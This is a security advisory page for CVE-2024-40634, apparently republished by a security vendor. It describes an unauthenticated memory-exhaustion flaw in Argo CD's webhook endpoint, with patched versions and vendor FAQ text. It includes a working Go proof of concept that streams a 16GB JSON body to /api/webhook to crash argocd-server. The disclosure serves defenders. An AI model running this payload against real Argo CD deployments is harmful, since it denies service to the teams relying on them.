CVE-2024-40634

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
	"crypto/tls"
	"io"
	"net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
	size int64 // Total size to generate
	read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
	if r.read >= r.size {
		return 0, io.EOF // Finished generating
	}

	start := false
	if r.read == 0 {
		// Start of JSON
		p[0] = '{'
		p[1] = '"'
		p[2] = 'd'
		p[3] = 'a'
		p[4] = 't'
		p[5] = 'a'
		p[6] = '"'
		p[7] = ':'
		p[8] = '"'
		n = 9
		start = true
	}

	for i := n; i < len(p); i++ {
		if r.read+int64(i)-int64(n)+1 == r.size-1 {
			// End of JSON
			p[i] = '"'
			p[i+1] = '}'
			r.read += int64(i) + 2 - int64(n)
			return i + 2 - n, nil
		} else {
			p[i] = 'x' // Dummy data
		}
	}

	r.read += int64(len(p)) - int64(n)
	if start {
		return len(p), nil
	}
	return len(p) - n, nil
}

func main() {
	// Initialize the custom reader with the desired size (16GB in this case).
	payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
	reader := &DummyJSONReader{size: payloadSize}

	// HTTP client setup
	httpClient := &http.Client{
		Timeout: 0, // No timeout
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
	if err != nil {
		panic(err)
	}

	// Set headers
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-GitHub-Event", "push")

	resp, err := httpClient.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	println("Response status code:", resp.StatusCode)
}

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2024-40634 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.20, 2.10.15, 2.11.6); upgrading removes the vulnerable code path.

Kodem intelligence

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6
v2.10.15
v2.9.20

1. What is CVE-2024-40634? CVE-2024-40634 is a high-severity uncontrolled resource consumption vulnerability in github.com/argoproj/argo-cd (go), affecting versions >= 1.0.0, <= 1.8.7. It is fixed in 2.9.20, 2.10.15, 2.11.6. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2024-40634? CVE-2024-40634 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2024-40634?
   • github.com/argoproj/argo-cd (go) (versions >= 1.0.0, <= 1.8.7)
   • github.com/argoproj/argo-cd/v2 (go) (versions < 2.9.20)
4. Is there a fix for CVE-2024-40634? Yes. CVE-2024-40634 is fixed in 2.9.20, 2.10.15, 2.11.6. Upgrade to this version or later.
5. Is CVE-2024-40634 exploitable, and should I be worried? Whether CVE-2024-40634 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-40634 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-40634?
   • Upgrade github.com/argoproj/argo-cd/v2 to 2.9.20 or later
   • Upgrade github.com/argoproj/argo-cd/v2 to 2.10.15 or later
   • Upgrade github.com/argoproj/argo-cd/v2 to 2.11.6 or later

Other vulnerabilities in github.com/argoproj/argo-cd